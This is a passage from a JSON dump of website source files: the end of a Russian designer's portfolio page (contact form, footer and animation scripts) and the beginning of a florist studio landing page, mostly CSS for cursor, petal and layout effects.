8.5M14 2L2 6.5l5.5 2M14 2l-3 11-3-4.5\" stroke=\"currentColor\" stroke-width=\"1.2\" stroke-linejoin=\"round\" />\n                    </svg>\n                    @demidov_design\n                </a>\n                <a href=\"#\" class=\"contact-link\">\n                    <svg width=\"16\" height=\"16\" viewBox=\"0 0 16 16\" fill=\"none\">\n                        <path d=\"M2 4h5c1.7 0 2.5 1 2.5 2.2C9.5 7.5 8.8 8 8 8.3c1 .2 2 .9 2 2.2C10 12 9 13 7 13H2V4z\" stroke=\"currentColor\" stroke-width=\"1.1\" />\n                        <path d=\"M10 6h4M10.5 4.5h3M10 9.5c0-1.5 1-2 2-2s2 .5 2 2v.5h-4c0 .8.4 1.5 1.5 1.5.6 0 1-.2 1.2-.5\" stroke=\"currentColor\" stroke-width=\"1.1\" stroke-linecap=\"round\" />\n                    </svg>\n                    behance.net/demidov\n                </a>\n            </div>\n        </div>\n        <form class=\"contact-form reveal-right\" onsubmit=\"handleSubmit(event)\">\n            <div class=\"form-row\">\n                <div class=\"form-group\">\n                    <label>Имя</label>\n                    <input type=\"text\" placeholder=\"Алексей\" required>\n                </div>\n                <div class=\"form-group\">\n                    <label>Email</label>\n                    <input type=\"email\" placeholder=\"hello@company.ru\" required>\n                </div>\n            </div>\n            <div class=\"form-group\">\n                <label>Тип проекта</label>\n                <input type=\"text\" placeholder=\"Брендинг / Ретушь / UI...\">\n            </div>\n            <div class=\"form-group\">\n                <label>Сообщение</label>\n                <textarea placeholder=\"Расскажите о задаче, бюджете и сроках...\" required></textarea>\n            </div>\n            <button class=\"btn-submit\" type=\"submit\" id=\"submitBtn\">Отправить заявку</button>\n        </form>\n    </section>\n\n    <!-- ─── FOOTER ─── -->\n    <footer>\n        <div class=\"footer-copy\">© 2025 Евгений Демидов. <span>Сделано с ♥</span></div>\n        <a href=\"#hero\" class=\"footer-back\">Наверх ↑</a>\n    </footer>\n\n    <!-- ══════════════════════ JS ══════════════════════ -->\n    <script>\n        // ─── Nav scroll ───────────────────────────────────\n        const navEl = document.getElementById('nav');\n        window.addEventListener('scroll', () => {\n            navEl.classList.toggle('scrolled', window.scrollY > 60);\n        }, { passive: true });\n\n        // ─── Reveal ───────────────────────────────────────\n        const revealObs = new IntersectionObserver(entries => {\n            entries.forEach(e => {\n                if (e.isIntersecting) { e.target.classList.add('visible'); revealObs.unobserve(e.target); }\n            });\n        }, { threshold: 0.1 });\n        document.querySelectorAll('.reveal, .reveal-left, .reveal-right').forEach(el => revealObs.observe(el));\n\n        // ─── Счётчики ─────────────────────────────────────\n        function animCount(el, target, suffix) {\n            const dur = 1600;\n            const start = performance.now();\n            (function step(now) {\n                const t = Math.min((now - start) / dur, 1);\n                const ease = 1 - Math.pow(1 - t, 3);\n                el.textContent = Math.round(ease * target) + suffix;\n                if (t < 1) requestAnimationFrame(step);\n            })(performance.now());\n        }\n        const countObs = new IntersectionObserver(entries => {\n            entries.forEach(e => {\n                if (!e.isIntersecting) return;\n                const el = e.target;\n                const val = parseInt(el.dataset.count);\n                const suffix = el.parentElement.querySelector('.about-stat-label')\n                    .textContent.includes('%') ? '%' : '+';\n                animCount(el, val, suffix);\n                countObs.unobserve(el);\n            });\n        }, { threshold: 0.5 });\n        document.querySelectorAll('[data-count]').forEach(el => countObs.observe(el));\n\n        // ─── Skill bars ───────────────────────────────────\n        const barObs = new IntersectionObserver(entries => {\n            entries.forEach(e => {\n                if (!e.isIntersecting) return;\n                e.target.querySelectorAll('.skill-level-fill').forEach(fill => {\n                    const pct = parseFloat(fill.dataset.pct);\n                    fill.style.setProperty('--pct', pct);\n                    fill.style.transform = `scaleX(${pct})`;\n                    fill.classList.add('animate');\n                });\n                barObs.unobserve(e.target);\n            });\n        }, { threshold: 0.2 });\n        document.querySelectorAll('.skill-card').forEach(card => barObs.observe(card));\n\n        // ─── Form submit ──────────────────────────────────\n        function handleSubmit(e) {\n            e.preventDefault();\n            const btn = document.getElementById('submitBtn');\n            btn.textContent = 'Отправлено ✓';\n            btn.style.background = '#4aaf6c';\n            btn.disabled = true;\n        }\n    </script>\n</body>\n\n</html>"
  },
  {
    "path": "legacy_tandem/viewer/works/example-florist/index.html",
    "content": "<!DOCTYPE html>\n<html lang=\"ru\">\n\n<head>\n    <meta charset=\"UTF-8\" />\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n    <title>Anastasia Florist — Цветочная студия</title>\n    <link rel=\"preconnect\" href=\"https://fonts.googleapis.com\" />\n    <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n    <link href=\"https://fonts.googleapis.com/css2?family=Comfortaa:wght@300;400;500;600;700&family=Nunito:wght@300;400;500;600;700&display=swap\" rel=\"stylesheet\" />\n    <style>\n        /* ──────────────────────────────────────────────\n       CSS RESET & CUSTOM PROPS\n    ────────────────────────────────────────────── */\n\n        *,\n        *::before,\n        *::after {\n            box-sizing: border-box;\n            margin: 0;\n            padding: 0;\n        }\n\n        :root {\n            --bg: #0a0a0a;\n            --bg2: #111111;\n            --bg3: #171717;\n            --pink-light: #f7cad8;\n            --pink: #e8607a;\n            --pink-deep: #c44265;\n            --pink-glow: rgba(232, 96, 122, 0.18);\n            --pink-glow2: rgba(232, 96, 122, 0.06);\n            --text: #f0ece8;\n            --text-muted: #9a9090;\n            --gold: #d4a57a;\n            --radius: 16px;\n            --transition: 0.5s cubic-bezier(0.23, 1, 0.32, 1);\n        }\n\n        html {\n            scroll-behavior: smooth;\n        }\n\n        body {\n            background: var(--bg);\n            color: var(--text);\n            font-family: 'Nunito', sans-serif;\n            font-weight: 400;\n            overflow-x: hidden;\n            cursor: none;\n        }\n\n        *,\n        *::before,\n        *::after {\n            cursor: none !important;\n        }\n\n        /* ──────────────────────────────────────────────\n       CUSTOM CURSOR\n    ────────────────────────────────────────────── */\n\n        #cursor {\n            position: fixed;\n            width: 12px;\n            height: 12px;\n            background: var(--pink);\n            border-radius: 50%;\n            pointer-events: none;\n            z-index: 9999;\n            transform: translate(-50%, -50%);\n            transition: transform 0.1s, opacity 0.3s;\n            mix-blend-mode: screen;\n        }\n\n        #cursor-ring {\n            position: fixed;\n            width: 38px;\n            height: 38px;\n            border: 1.5px solid var(--pink);\n            border-radius: 50%;\n            pointer-events: none;\n            z-index: 9998;\n            transform: translate(-50%, -50%);\n            transition: transform 0.18s ease, width 0.3s, height 0.3s, opacity 0.3s;\n            opacity: 0.55;\n        }\n\n        body:not(:hover) #cursor,\n        body:not(:hover) #cursor-ring {\n            opacity: 0;\n        }\n\n        @media (pointer: coarse) {\n            body {\n                cursor: auto !important;\n            }\n\n            *,\n            *::before,\n            *::after {\n                cursor: auto !important;\n            }\n\n            #cursor,\n            #cursor-ring {\n                display: none !important;\n            }\n        }\n\n        /* ──────────────────────────────────────────────\n       CURSOR PETAL TRAIL\n    ────────────────────────────────────────────── */\n        .trail-petal {\n            position: fixed;\n            pointer-events: none;\n            z-index: 9997;\n            border-radius: 50% 0 50% 0;\n            transform-origin: center;\n            will-change: transform, opacity;\n            animation: trail-fall 0.85s ease-out forwards;\n        }\n\n        @keyframes trail-fall {\n            0% {\n                opacity: 0.45;\n                transform: translate(-50%, -50%) rotate(var(--r)) scale(1);\n            }\n\n            40% {\n                opacity: 0.35;\n            }\n\n            100% {\n                opacity: 0;\n                transform: translate(-50%, calc(-50% + 32px)) rotate(calc(var(--r) + 200deg)) scale(0.3);\n            }\n        }\n\n        /* ──────────────────────────────────────────────\n       SCROLLBAR\n    ────────────────────────────────────────────── */\n\n        ::-webkit-scrollbar {\n            width: 4px;\n        }\n\n        ::-webkit-scrollbar-track {\n            background: var(--bg);\n        }\n\n        ::-webkit-scrollbar-thumb {\n            background: var(--pink-deep);\n            border-radius: 99px;\n        }\n\n        ::selection {\n            background: rgba(232, 96, 122, .42);\n            color: #fff;\n        }\n\n        ::-moz-selection {\n            background: rgba(232, 96, 122, .42);\n            color: #fff;\n        }\n\n        /* ──────────────────────────────────────────────\n       NOISE OVERLAY\n    ────────────────────────────────────────────── */\n\n        body::before {\n            content: '';\n            position: fixed;\n            inset: 0;\n            background-image: url(\"data:image/svg+xml,%3Csvg viewBox='0 0 256 256' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='noise'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23noise)' opacity='1'/%3E%3C/svg%3E\");\n            opacity: 0.03;\n            pointer-events: none;\n            z-index: 1;\n        }\n\n        /* ──────────────────────────────────────────────\n       NAV\n    ────────────────────────────────────────────── */\n\n        nav {\n            position: fixed;\n            top: 0;\n            left: 0;\n            right: 0;\n            z-index: 600;\n            display: flex;\n            align-items: center;\n            justify-content: space-between;\n            padding: 1.4rem 5vw;\n            transition: background 0.4s, backdrop-filter 0.4s;\n        }\n\n        nav.scrolled {\n            background: rgba(10, 10, 10, 0.82);\n            backdrop-filter: blur(18px);\n            border-bottom: 1px solid rgba(232, 96, 122, 0.12);\n        }\n\n        .nav-logo {\n            font-family: 'Comfortaa', cursive;\n            font-size: 1.3rem;\n            font-weight: 700;\n            letter-spacing: 0.04em;\n            color: var(--pink-light);\n            text-decoration: none;\n            position: relative;\n            z-index: 600;\n        }\n\n        .nav-logo span {\n            color: var(--pink);\n        }\n\n        .nav-links {\n            display: flex;\n            gap: 2.4rem;\n            list-style: none;\n        }\n\n        .nav-links a {\n            color: var(--text-muted);\n            text-decoration: none;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.78rem;\n            font-weight: 600;\n            letter-spacing: 0.1em;\n            text-transform: uppercase;\n            transition: color 0.3s;\n            position: relative;\n        }\n\n        .nav-links a::after {\n            content: '';\n            position: absolute;\n            bottom: -4px;\n            left: 0;\n            width: 0;\n            height: 1px;\n            background: var(--pink);\n            transition: width 0.35s var(--transition);\n        }\n\n        .nav-links a:hover {\n            color: var(--pink-light);\n        }\n\n        .nav-links a:hover::after {\n            width: 100%;\n        }\n\n        .nav-burger {\n            display: none;\n            flex-direction: column;\n            gap: 5px;\n            background: none;\n            border: none;\n            cursor: none;\n            padding: 4px;\n            position: relative;\n            z-index: 600;\n        }\n\n        .nav-burger span {\n            display: block;\n            width: 24px;\n            height: 1.5px;\n            background: var(--pink-light);\n            transition: 0.3s;\n        }\n\n        /* ──────────────────────────────────────────────\n       HERO\n    ────────────────────────────────────────────── */\n\n        #hero {\n            height: 100vh;\n            max-height: 100vh;\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            align-items: center;\n            padding: 4.5rem 5vw 2rem;\n            position: relative;\n            overflow: hidden;\n        }\n\n        .hero-bg-gradient {\n            position: absolute;\n            inset: 0;\n            pointer-events: none;\n            background: radial-gradient(ellipse 60% 80% at 70% 40%, rgba(200, 60, 100, 0.13) 0%, transparent 70%), radial-gradient(ellipse 40% 50% at 10% 80%, rgba(180, 40, 80, 0.08) 0%, transparent 60%);\n            animation: bgShift 8s ease-in-out infinite alternate;\n        }\n\n        @keyframes bgShift {\n            from {\n                opacity: 0.7;\n            }\n\n            to {\n                opacity: 1;\n            }\n        }\n\n        /* Floating petals */\n\n        .petal {\n            position: absolute;\n            width: 6px;\n            height: 10px;\n            background: var(--pink);\n            border-radius: 50% 0 50% 0;\n            opacity: 0;\n            animation: fall linear infinite;\n            animation-fill-mode: backwards;\n            pointer-events: none;\n        }\n\n        @keyframes fall {\n            0% {\n                transform: translateY(-40px) rotate(0deg);\n                opacity: 0;\n            }\n\n            10% {\n                opacity: var(--petal-opacity, 0.35);\n            }\n\n            90% {\n                opacity: calc(var(--petal-opacity, 0.35) * 0.55);\n            }\n\n            100% {\n                transform: translateY(110vh) rotate(720deg);\n                opacity: 0;\n            }\n        }\n\n        .hero-content {\n            position: relative;\n            z-index: 2;\n        }\n\n        .hero-eyebrow {\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.72rem;\n            font-weight: 600;\n            letter-spacing: 0.22em;\n            text-transform: uppercase;\n            color: var(--pink);\n            margin-bottom: 1.4rem;\n            display: flex;\n            align-items: center;\n            gap: 0.8rem;\n            opacity: 0;\n            animation: fadeUp 0.9s 0.2s forwards;\n        }\n\n        .hero-eyebrow::before {\n            content: '';\n            display: block;\n            width: 32px;\n            height: 1px;\n            background: var(--pink);\n        }\n\n        .hero-title {\n            font-family: 'Comfortaa', cursive;\n            font-size: clamp(2.6rem, 5.5vw, 5.2rem);\n            font-weight: 700;\n            line-height: 1.15;\n            color: var(--text);\n            margin-bottom: 1.4rem;\n            opacity: 0;\n            animation: fadeUp 1s 0.4s forwards;\n        }\n\n        .hero-title em {\n            font-style: normal;\n            font-weight: 300;\n            color: var(--pink-light);\n        }\n\n        .hero-title .stroke {\n            -webkit-text-stroke: 1.5px var(--pink);\n            color: transparent;\n        }\n\n        .hero-desc {\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.95rem;\n            line-height: 1.8;\n            color: var(--text-muted);\n            max-width: 420px;\n            margin-bottom: 2rem;\n            opacity: 0;\n            animation: fadeUp 1s 0.6s forwards;\n        }\n\n        .hero-cta {\n            display: flex;\n            gap: 1.2rem;\n            flex-wrap: wrap;\n            opacity: 0;\n            animation: fadeUp 1s 0.8s forwards;\n        }\n\n        .btn-primary {\n            padding: 0.85rem 2.2rem;\n            background: linear-gradient(135deg, var(--pink-deep), var(--pink));\n            color: #fff;\n            border: none;\n            border-radius: 50px;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.82rem;\n            font-weight: 700;\n            letter-spacing: 0.08em;\n            text-transform: uppercase;\n            text-decoration: none;\n            cursor: none;\n            position: relative;\n            overflow: hidden;\n            transition: box-shadow 0.3s, transform 0.3s;\n            box-shadow: 0 0 28px rgba(232, 96, 122, 0.35);\n        }\n\n        .btn-primary::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(135deg, var(--pink), var(--pink-light));\n            opacity: 0;\n            transition: opacity 0.35s;\n        }\n\n        .btn-primary:hover {\n            transform: translateY(-2px);\n            box-shadow: 0 0 44px rgba(232, 96, 122, 0.55);\n        }\n\n        .btn-primary:hover::before {\n            opacity: 1;\n        }\n\n        .btn-primary span {\n            position: relative;\n            z-index: 1;\n        }\n\n        .btn-ghost {\n            padding: 0.85rem 2.2rem;\n            background: transparent;\n            color: var(--pink-light);\n            border: 1px solid rgba(232, 96, 122, 0.4);\n            border-radius: 50px;\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.82rem;\n            font-weight: 700;\n            letter-spacing: 0.08em;\n            text-transform: uppercase;\n            text-decoration: none;\n            cursor: none;\n            transition: border-color 0.3s, background 0.3s, transform 0.3s;\n        }\n\n        .btn-ghost:hover {\n            border-color: var(--pink);\n            background: var(--pink-glow);\n            transform: translateY(-2px);\n        }\n\n        /* Hero image side */\n\n        .hero-visual {\n            position: relative;\n            z-index: 2;\n            display: flex;\n            justify-content: center;\n            align-items: center;\n            opacity: 0;\n            animation: fadeIn 1.2s 0.5s forwards;\n        }\n\n        .hero-img-frame {\n            position: relative;\n            width: min(320px, 75%);\n            aspect-ratio: 3/4;\n        }\n\n        .hero-img-frame img {\n            width: 100%;\n            height: 100%;\n            object-fit: cover;\n            border-radius: 200px 200px 0 0;\n            display: block;\n        }\n\n        .hero-img-frame::before {\n            content: '';\n            position: absolute;\n            inset: -2px;\n            border-radius: 202px 202px 2px 2px;\n            background: linear-gradient(160deg, var(--pink), transparent 60%);\n            z-index: -1;\n        }\n\n        .hero-img-frame::after {\n            content: '';\n            position: absolute;\n            bottom: -30px;\n            right: -30px;\n            width: 180px;\n            height: 180px;\n            border-radius: 50%;\n            border: 1px solid rgba(232, 96, 122, 0.2);\n            z-index: -1;\n            animation: spin 20s linear infinite;\n        }\n\n        @keyframes spin {\n            to {\n                transform: rotate(360deg);\n            }\n        }\n\n        .hero-badge {\n            position: absolute;\n            bottom: 40px;\n            left: -40px;\n            background: var(--bg3);\n            border: 1px solid rgba(232, 96, 122, 0.25);\n            border-radius: 14px;\n            padding: 1rem 1.4rem;\n            backdrop-filter: blur(12px);\n            animation: float 4s ease-in-out infinite;\n        }\n\n        @keyframes float {\n\n            0%,\n            100% {\n                transform: translateY(0);\n            }\n\n            50% {\n                transform: translateY(-10px);\n            }\n        }\n\n        .hero-badge .badge-num {\n            font-family: 'Comfortaa', cursive;\n            font-size: 2rem;\n            font-weight: 700;\n            color: var(--pink);\n            line-height: 1;\n        }\n\n        .hero-badge .badge-label {\n            font-size: 0.72rem;\n            color: var(--text-muted);\n            letter-spacing: 0.08em;\n        }\n\n        .hero-badge2 {\n            position: absolute;\n            top: 60px;\n            right: -30px;\n            background: var(--bg3);\n            border: 1px solid rgba(232, 96, 122, 0.25);\n            border-radius: 50px;\n            padding: 0.7rem 1.2rem;\n            display: flex;\n            align-items: center;\n            gap: 0.6rem;\n            backdrop-filter: blur(12px);\n            animation: float 5s ease-in-out 1s infinite;\n        }\n\n        .dot-live {\n            width: 8px;\n            height: 8px;\n            background: var(--pink);\n            border-radius: 50%;\n            animation: pulse 1.5s ease-in-out infinite;\n        }\n\n        @keyframes pulse {\n\n            0%,\n            100% {\n                box-shadow: 0 0 0 0 rgba(232, 96, 122, 0.6);\n            }\n\n            50% {\n                box-shadow: 0 0 0 8px rgba(232, 96, 122, 0);\n            }\n        }\n\n        .hero-badge2 span {\n            font-size: 0.72rem;\n            color: var(--pink-light);\n            letter-spacing: 0.06em;\n        }\n\n        @keyframes fadeUp {\n            from {\n                opacity: 0;\n                transform: translateY(30px);\n            }\n\n            to {\n                opacity: 1;\n                transform: translateY(0);\n            }\n        }\n\n        @keyframes fadeIn {\n            from {\n                opacity: 0;\n                transform: scale(0.97);\n            }\n\n            to {\n                opacity: 1;\n                transform: scale(1);\n            }\n        }\n\n        /* ──────────────────────────────────────────────\n       SECTIONS GENERIC\n    ────────────────────────────────────────────── */\n\n        section {\n            position: relative;\n            overflow: hidden;\n        }\n\n        .section-label {\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.7rem;\n            font-weight: 600;\n            letter-spacing: 0.25em;\n            text-transform: uppercase;\n            color: var(--pink);\n            margin-bottom: 0.8rem;\n            display: flex;\n            align-items: center;\n            gap: 0.7rem;\n        }\n\n        .section-label::before {\n            content: '';\n            display: block;\n            width: 24px;\n            height: 1px;\n            background: var(--pink);\n        }\n\n        .section-title {\n            font-family: 'Comfortaa', cursive;\n            font-size: clamp(2rem, 4vw, 3.4rem);\n            font-weight: 700;\n            line-height: 1.2;\n            margin-bottom: 1.2rem;\n        }\n\n        .section-title em {\n            font-style: normal;\n            font-weight: 300;\n            color: var(--pink-light);\n        }\n\n        /* Reveal animation */\n\n        .reveal {\n            opacity: 0;\n            transform: translateY(32px);\n            transition: opacity 0.7s cubic-bezier(0.23, 1, 0.32, 1), transform 0.7s cubic-bezier(0.23, 1, 0.32, 1);\n        }\n\n        .reveal.visible {\n            opacity: 1;\n            transform: translateY(0);\n        }\n\n        .reveal-left {\n            opacity: 0;\n            transform: translateX(-32px);\n            transition: opacity 0.7s cubic-bezier(0.23, 1, 0.32, 1), transform 0.7s cubic-bezier(0.23, 1, 0.32, 1);\n        }\n\n        .reveal-left.visible {\n            opacity: 1;\n            transform: translateX(0);\n        }\n\n        .reveal-right {\n            opacity: 0;\n            transform: translateX(32px);\n            transition: opacity 0.7s cubic-bezier(0.23, 1, 0.32, 1), transform 0.7s cubic-bezier(0.23, 1, 0.32, 1);\n        }\n\n        .reveal-right.visible {\n            opacity: 1;\n            transform: translateX(0);\n        }\n\n        /* ──────────────────────────────────────────────\n       MARQUEE (scrolling text)\n    ────────────────────────────────────────────── */\n\n        .marquee-wrap {\n            overflow: hidden;\n            border-top: 1px solid rgba(232, 96, 122, 0.15);\n            border-bottom: 1px solid rgba(232, 96, 122, 0.15);\n            padding: 1rem 0;\n            background: var(--bg2);\n        }\n\n        .marquee-track {\n            display: flex;\n            gap: 3rem;\n            animation: marquee 22s linear infinite;\n            width: max-content;\n        }\n\n        @keyframes marquee {\n            from {\n                transform: translateX(0);\n            }\n\n            to {\n                transform: translateX(-50%);\n            }\n        }\n\n        .marquee-item {\n            font-family: 'Comfortaa', cursive;\n            font-size: 0.95rem;\n            font-weight: 400;\n            color: var(--text-muted);\n            white-space: nowrap;\n            display: flex;\n            align-items: center;\n            gap: 1.4rem;\n        }\n\n        .marquee-item::after {\n            content: '✦';\n            color: var(--pink);\n            font-size: 0.6rem;\n        }\n\n        /* ──────────────────────────────────────────────\n       ABOUT\n    ────────────────────────────────────────────── */\n\n        #about {\n            padding: 7rem 5vw;\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 6rem;\n            align-items: center;\n        }\n\n        .about-images {\n            position: relative;\n            height: 560px;\n        }\n\n        .about-img {\n            position: absolute;\n            border-radius: var(--radius);\n            overflow: hidden;\n            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5);\n        }\n\n        .about-img img {\n            width: 100%;\n            height: 100%;\n            object-fit: cover;\n            display: block;\n        }\n\n        .about-img-1 {\n            width: 65%;\n            height: 72%;\n            top: 0;\n            left: 0;\n        }\n\n        .about-img-2 {\n            width: 52%;\n            height: 56%;\n            bottom: 0;\n            right: 0;\n            border: 2px solid rgba(232, 96, 122, 0.25);\n        }\n\n        .about-img-2::after {\n            content: '';\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(135deg, transparent, rgba(232, 96, 122, 0.12));\n        }\n\n        .about-accent {\n            position: absolute;\n            top: 50%;\n            left: 50%;\n            transform: translate(-50%, -50%);\n            width: 100px;\n            height: 100px;\n            background: var(--pink-glow);\n            border-radius: 50%;\n            filter: blur(30px);\n            pointer-events: none;\n        }\n\n        .about-text {}\n\n        .about-body {\n            font-size: 0.95rem;\n            line-height: 1.85;\n            color: var(--text-muted);\n            margin-bottom: 2rem;\n        }\n\n        .about-stats {\n            display: grid;\n            grid-template-columns: 1fr 1fr;\n            gap: 1.2rem;\n            margin-top: 2.8rem;\n        }\n\n        .stat-card {\n            padding: 1.4rem;\n            background: var(--bg3);\n            border-radius: 12px;\n            border: 1px solid rgba(232, 96, 122, 0.12);\n            transition: border-color 0.3s, transform 0.3s;\n        }\n\n        .stat-card:hover {\n            border-color: rgba(232, 96, 122, 0.4);\n            transform: translateY(-4px);\n        }\n\n        .stat-num {\n            font-family: 'Comfortaa', cursive;\n            font-size: 2.4rem;\n            color: var(--pink);\n            line-height: 1;\n            font-weight: 700;\n        }\n\n        .stat-label {\n            font-size: 0.75rem;\n            color: var(--text-muted);\n            letter-spacing: 0.06em;\n            margin-top: 0.3rem;\n        }\n\n        /* ──────────────────────────────────────────────\n       PORTFOLIO GALLERY\n    ────────────────────────────────────────────── */\n\n        #portfolio {\n            padding: 7rem 5vw;\n            background: var(--bg2);\n        }\n\n        .portfolio-header {\n            text-align: center;\n            margin-bottom: 4rem;\n        }\n\n        .gallery-filter {\n            display: flex;\n            justify-content: center;\n            flex-wrap: wrap;\n            gap: 0.7rem;\n            margin-bottom: 3rem;\n        }\n\n        .filter-btn {\n            padding: 0.5rem 1.4rem;\n            border-radius: 50px;\n            border: 1px solid rgba(232, 96, 122, 0.25);\n            background: transparent;\n            color: var(--text-muted);\n            font-family: 'Nunito', sans-serif;\n            font-size: 0.75rem;\n            font-weight: 600;\n            letter-spacing: 0.08em;\n            text-transform: uppercase;\n            cursor: none;\n            transition: 0.3s;\n        }\n\n        .filter-btn.active,\n        .filter-btn:hover {\n            background: var(--pink-glow);\n            border-color: var(--pink);\n            color: var(--pink-light);\n        }\n\n        .gallery-grid {\n            display: grid;\n            grid-template-columns: repeat(12, 1fr);\n            grid-template-rows: auto;\n            gap: 1rem;\n        }\n\n        .gallery-item {\n            position: relative;\n            overflow: hidden;\n            border-radius: 12px;\n            cursor: none;\n        }\n\n        .gallery-item:nth-child(1) {\n            grid-column: span 5;\n            grid-row: span 2;\n        }\n\n        .gallery-item:nth-child(2) {\n            grid-column: span 4;\n            grid-row: span 1;\n        }\n\n        .gallery-item:nth-child(3) {\n            grid-column: span 3;\n            grid-row: span 1;\n        }\n\n        .gallery-item:nth-child(4) {\n            grid-column: span 4;\n            grid-row: span 1;\n        }\n\n        .gallery-item:nth-child(5) {\n            grid-column: span 3;\n            grid-row: span 1;\n        }\n\n        .gallery-item img {\n            width: 100%;\n            height: 100%;\n            object-fit: cover;\n            display: block;\n            transition: transform 0.65s cubic-bezier(0.23, 1, 0.32, 1), filter 0.65s cubic-bezier(0.23, 1, 0.32, 1);\n            min-height: 260px;\n        }\n\n        .gallery-item:hover img {\n            transform: scale(1.06);\n            filter: brightness(1.05);\n        }\n\n        .gallery-overlay {\n            position: absolute;\n            inset: 0;\n            background: linear-gradient(to top, rgba(10, 10, 10, 0.85) 0%, transparent 55%);\n            opacity: 0;\n            transition: opacity 0.5s;\n            display: flex;\n            flex-direction: column;\n            justify-content: flex-end;\n            padding: 1.6rem;\n        }\n\n        .gallery-item:hover .gallery-overlay {\n            opacity: 1;\n        }\n\n        .gallery-overlay h3 {\n            font-family: 'Comfortaa', cursive;\n            font-size: 1.1rem;\n            font-weight: 700;\n            color: #fff;\n            transform: translateY(10px);\n            transition: transform 0.38s cubic-bezier(0.23, 1, 0.32, 1);\n        }\n\n        .gallery-overlay p {\n            font-size: 0.78rem;\n            color: var(--pink-light);\n            margin-top: 0.3rem;\n            transform: translateY(10px);\n            transition: transform 0.38s 0.05s cubic-bezier(0.23, 1, 0.32, 1);\n            opacity: 0.85;\n        }\n\n        .gallery-item:hover .gallery-overlay h3,\n        .gallery-item:hover .gallery-overlay p {\n            transform: translateY(0);\n        }\n\n        .gallery-item::before {\n            content: '';\n            position: absolute;\n            inset: 0;\n            border-radius: 12px;\n            border: 1px solid transparent;\n            transition: border-color 0.4s;\n            z-index: 2;\n            pointer-events: none;\n        }\n\n        .gallery-item:hover::before {\n            border-color: rgba(232, 96, 122, 0.4);\n        }\n\n        /* ──────────────────────────────────────────────\n       SERVICES\n    ────────────────────────────────────────────── */\n\n        #services {\n            padding: 7rem 5vw;\n        }\n\n        .services-header {\n            margin-bottom: 4rem;\n        }\n\n        .services-grid {\n            display: grid;\n            grid-template-columns: repeat(auto-fit, minmax(260px, 1fr));\n            gap: 1.5rem;\n        }\n\n        .service-card {\n            padding: 2.4rem 2rem;\n            background: var(--bg3);\n            border: 1px solid rgba(232, 96, 122, 0.1);\n            border-radius: 18px;\n            position: relative;\n            overflow: hidden;\n            transition: transform 0.4s var(--transition), border-color 0.4s, box-shadow 0.4s;\n        }\n\n        .service-card::before {\n            content: '';\n            position: absolute;\n            top: -80px;\n            right: -80px;\n            width: 200px;\n            height: 200px;\n            background: radial-gradient(circle, var(--pink-glow) 0%, transparent 70%);\n            transition: opacity 0.4s;\n            opacity: 0;\n        }\n\n        .service-card:hover {\n            transform: translateY(-6px);\n            border-color: rgba(232, 96, 122, 0.35);\n            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.3), 0 0 0 1px rgba(232, 96, 122, 0.12);\n        }\n\n        .service-card:hover::before {\n            opacity: 1;\n        }\n\n        .service-icon {\n            width: 52px;\n            height: 52px;\n            background: var(--pink-glow);\n            border-radius: 14px;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            margin-bottom: 1.4rem;\n            font-size: 1.5rem;\n        }\n\n        .service-card h3 {\n            font-family: 'Comfortaa', cursive;\n            font-size: 1.2rem;\n            font-weight: 700;\n            margin-bottom: 0.7rem;\n            color: var(--text);\n        }\n\n        .service-card p {\n            font-size: 0.88rem;\n            line-height: 1.75;\n            color: var(--text-muted);\n        }\n\n        .service-price {\n            margin-top: 1.6rem;\n            font-family: 'Comfortaa', cursive;\n            font-size: 0.95rem;\n            font-weight: 600;\n            color: var(--pink-light);\n        }\n\n        .service-price span {\n            font-family: 'Comfortaa', cursive;\n            font-size: 1.4rem;\n            font-weight: 700;\n            color: var(--pink);\n        }\n\n        /* ──────────────────────────────────────────────\n       PROCESS — ZIGZAG TIMELINE\n    ────────────────────────────────────────────── */\n\n        #process {\n            padding: 7rem 5vw;\n            background: var(--bg2);\n        }\n\n        .process-header {\n            text-align: center;\n            margin-bottom: 5rem;\n        }\n\n        .process-timeline {\n            position: relative;\n            max-width: 960px;\n            margin: 0 auto;\n        }\n\n        /* Central glowing line */\n\n        .process-timeline::before {\n            content: '';\n            position: absolute;\n            left: 50%;\n            top: 40px;\n            bottom: 40px;\n            width: 2px;\n            transform: translateX(-50%);\n            background: linear-gradient(to bottom, transparent 0%, var(--pink) 8%, rgba(232, 96, 122, 0.35) 50%, var(--pink) 92%, transparent 100%);\n            box-shadow: 0 0 16px rgba(232, 96, 122, 0.25);\n            border-radius: 2px;\n        }\n\n        .process-step {\n            display: grid;\n            grid-template-columns: 1fr 80px 1fr;\n            align-items: center;\n            margin-bottom: 2.8rem;\n            position: relative;\n        }\n\n        .process-step:last-child {\n            margin-bottom: 0;\n        }\n\n        /* Dot in the center column */\n\n        .process-dot {\n            grid-column: 2;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            position: relative;\n            z-index: 2;\n        }\n\n        .process-dot-inner {\n            width: 64px;\n            height: 64px;\n            background: var(--bg2);\n            border: 2px solid var(--pink);\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-family: 'Comfortaa', cursive;\n            font-size: 1rem;\n            font-weight: 700;\n            color: var(--pink);\n            transition: background 0.4s, box-shadow 0.4s, transform 0.4s;\n            position: relative;\n            flex-shrink: 0;\n        }\n\n        .process-dot-inner::before {\n            content: '';\n            position: absolute;\n            inset: -6px;\n            border-radius: 50%;\n            border: 1px dashed rgba(232, 96, 122, 0.3);\n            animation: spin 14s linear infinite;\n        }\n\n        .process-step:hover 